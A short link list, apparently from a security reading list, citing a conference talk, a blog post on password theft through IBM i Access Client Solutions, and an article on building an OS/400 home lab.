* [TROOPERS24: IBM i for Wintel Hackers - Bálint Varga-Perke, Zoltán Pánczél - Septemeber 2, 2024](https://www.youtube.com/watch?v=t4fUvfzgUbY)
* [Vulnerability Archeology: Stealing Passwords with IBM i Access Client Solutions - Silent Signal - January 21, 2025](https://blog.silentsignal.eu/2025/01/21/ibm-acs-password-dump/)
* [Why Building an OS/400 Lab at Home Was Harder Than I Expected - Podalirius - January 24, 2020](https://podalirius.net/en/mainframe/why-building-an-os-400-lab-at-home-was-harder-than-i-expected/)
